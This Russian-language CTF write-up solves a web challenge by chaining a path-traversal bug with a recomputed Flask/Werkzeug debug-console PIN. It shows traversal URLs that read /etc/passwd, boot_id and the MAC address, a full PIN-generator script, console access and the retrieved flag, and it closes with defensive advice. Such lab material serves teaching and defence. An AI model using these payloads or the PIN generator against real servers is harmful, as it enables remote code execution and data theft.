Найти тему

CTF web — blogger

Оглавление

Разбираем двенадцатую задачку из нашего соревнования CTF. Задание называется blogger, дают аж 2000 баллов за флаг, простой она точно не будет.

-2

В задании есть подсказка, что уязвимость явно не одна, и первая найденная не поможет решить задачку. Нам встретятся следующие уязвимости:

Path Traversal - получение доступа к файлам и каталогам, которые расположены вне пределов, определенных конфигурацией. Путем манипулирования переменными, которые указывают на положение файлов, с помощью последовательностей "../" и их вариаций, может быть получен доступ к любым файлам и каталогам, имеющимся в системе.
Уязвимость хеш-функции. Атакующий может вычислить секретный ключ, зная алгоритм шифрования и исходные значения.

Ссылки

CTF - Capture The Flag

CTF web - traverser

Решение

Переходим на сайт задания.

-3

Мы видим некий упрощённый вариант блога. Кликаем на пост.

-4

Обратим внимание на адресную строку.

http://blogger/post?id=helloworld.html

Сразу замечаем, что в качестве аргумента используется имя файла helloworld.html - это уже возможная уязвимость Path Traversal. Проверим. Заменим название файла helloworld.html:

http://blogger/post?id=../../../../../../../etc/passwd

Бинго, это было не сложно!

-5

Используя эту уязвимость мы можем считать содержимое любого файла. Но пока это нам ничего не даёт. Пробуем открыть любой случайный путь:

http://blogger/post?id=fffff
-6

Попадаем на ошибку 404 и видим, что админ оставил включенным дебаг-режим фреймворка flask.

Flask — фреймворк для создания веб-приложений на языке программирования Python, использующий набор инструментов Werkzeug, а также шаблонизатор Jinja2. Относится к категории так называемых микрофреймворков — минималистичных каркасов веб-приложений, сознательно предоставляющих лишь самые базовые возможности.

Flask позволяет дебажить код, можно запустить консоль прямо из места ошибки и посмотреть что там случилось. Место запуска консоли я отметил красным. Но есть одно но: и так понятно, что консоль на сайте - это уязвимое место, поэтому вход закрыт на PIN код.

-7

При запуске приложения админу в консоли сообщается PIN, и этот PIN всегда одинаковый. Если нам каким-то образом удастся понять, как этот PIN считается и повторить вычисления, то мы сами получим тот же самый PIN и войдём в консоль через дебаг-режим как нож сквозь масло.

Есть долгий путь: самим дебажить flask и смотреть, как вычисляется PIN. Однако, за нас это уже сделали китайцы:

https://www.kingkk.com/2018/08/Flask-debug-pin%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/

Расскажу основные моменты. Вот она — та самая функция, которая генерирует PIN:

def _generate():
# Potential sources of secret information on linux. The machine-id
# is stable across boots, the boot id is not
for filename in '/etc/machine-id', '/proc/sys/kernel/random/boot_id':
try:
with open(filename, 'rb') as f:
return f.readline().strip()
except IOError:
continue

# On OS X we can use the computer's serial number assuming that
# ioreg exists and can spit out that information.
try:
# Also catch import errors: subprocess may not be available, e.g.
# Google App Engine
# See https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(['ioreg', '-c', 'IOPlatformExpertDevice', '-d', '2'],
stdout=PIPE).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass

# On Windows we can use winreg to get the machine guid
wr = None
try:
import winreg as wr
except ImportError:
try:
import _winreg as wr
except ImportError:
pass
if wr is not None:
try:
with wr.OpenKey(wr.HKEY_LOCAL_MACHINE,
'SOFTWARE\\Microsoft\\Cryptography', 0,
wr.KEY_READ | wr.KEY_WOW64_64KEY) as rk:
machineGuid, wrType = wr.QueryValueEx(rk, 'MachineGuid')
if (wrType == wr.REG_SZ):
return machineGuid.encode('utf-8')
else:
return machineGuid
except WindowsError:
pass

_machine_id = rv = _generate()
return rv

Для генерации PIN она использует некоторые значения:

  • Файл приложения.
  • Имя приложения.
  • /etc/machine-id или /proc/sys/kernel/random/boot_id, смотря что имеется.
  • MAC-адрес сетевухи.
  • Имя пользователя.
  • Путь до приложения.

Если мы всё это узнаем, то сможем сгенерировать PIN, нам даже более удобный генератор китайцы дали:

import hashlib
from itertools import chain
probably_public_bits = [
'kingkk',
# username
'flask.app',
# modname
'Flask',
# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py'
# getattr(mod, '__file__', None),
]

private_bits = [
'52242498922',
# str(uuid.getnode()), /sys/class/net/ens33/address
'19949f18ce36422da1402b3e3fe53008'
# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Находим первый попавшийся сайт с питоном:

https://www.tutorialspoint.com/execute_python_online.php

Втыкаем код генерации PIN и пробуем выполнить.

-8

Шарманка работает, но данные для генерации PIN не наши и PIN не тот, будем искать.

Сбор данных

Мы уже знаем некоторые данные flask:

  • Файл приложения - flask.app.
  • Имя приложения - Flask.

Первый и второй ключи известны.

Получить /etc/machine-id или /proc/sys/kernel/random/boot_id можно легко, используя первую найденную нами уязвимость.

http://blogger/post?id=../../../../../../../etc/machine-id
-9

Файл не существует, пробуем второй:

http://blogger.ev.local/post?id=../../../../../../../proc/sys/kernel/random/boot_id
-10

Третий ключ найден: 5e0cc42b-001a-4139-abc6-6f8d517d8ddf.

Получим MAC-адрес сетевухи:

http://blogger/post?id=../../../../../../..//sys/class/net/eth0/address
-11

Получаем MAC: 02:42:ac:16:00:04. Но нам нужен целочисленный вариант, китайцы подсказывают формулу. Снова используем сайт с питоном, выполняем:

print (0x0242ac160004)
-12

Четвёртый ключ найден: 2485378220036.

Нам осталось найти:

  • Имя пользователя.
  • Путь до приложения.

Смотрим на любой кусок ошибки 404:

File "/root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py", line 2309, in __call__
'root',# username
'/root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),

И понимаем что:

  • Имя пользователя: root.
  • Путь до приложения: /root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py.

Пятый и шестой ключи найдены.

PIN

Подставляем все найденные ключи в генератор.

import hashlib
from itertools import chain
probably_public_bits = [
'root',
# username
'flask.app',
# modname
'Flask',
# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py'
# getattr(mod, '__file__', None),
]

private_bits = [
'2485378220036',
# str(uuid.getnode()), /sys/class/net/ens33/address
'5e0cc42b-001a-4139-abc6-6f8d517d8ddf'
# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

И получаем PIN:

170-504-868

Втыкаем его в сайт.

-13

И успешно проваливаемся в консоль с правами админа. Теперь нужно немного попитонить. Нам нужно посмотреть содержимое директории сайта. Путь к директории виден в конце 404 страницы. Вот он:

-14

Выводим содержимое этой директории:

os.listdir("/usr/app/")
-15

Среди списка файлов видно интересный файл с длинным названием: E746D04AD0258C557AB5D5E18F57E5B269CEAC744304FA85EC7F6D79533AE8D2. Посмотрим, что внутри:

http://blogger/post?id=../../../../../../../usr/app/E746D04AD0258C557AB5D5E18F57E5B269CEAC744304FA85EC7F6D79533AE8D2
-16

Вот и флаг:

CC{daaaaaamn_everything_is_vulnerable_even_my_static_site}

Безопасность

  • Если вы используете сторонние библиотеки, фреймворки, CMS, CMF, уделяйте внимание безопасности, своевременно обновляйте их. В таких проектах нередко появляются найденные уязвимости и заплатки к ним.
  • Не открывайте наружу дебаг.
  • Здесь мы видим пример как совокупность эксплуатации двух разных уязвимостей дала возможность проникнуть на сервер, хотя каждая из уязвимостей по-отдельности не привела бы к такому результату.

Источник:
https://internet-lab.ru/ctf_web_blogger

Если вам понравилась статья, то ставьте 👍🏻 каналу. Пишите комментарии, задавайте вопросы, подписывайтесь.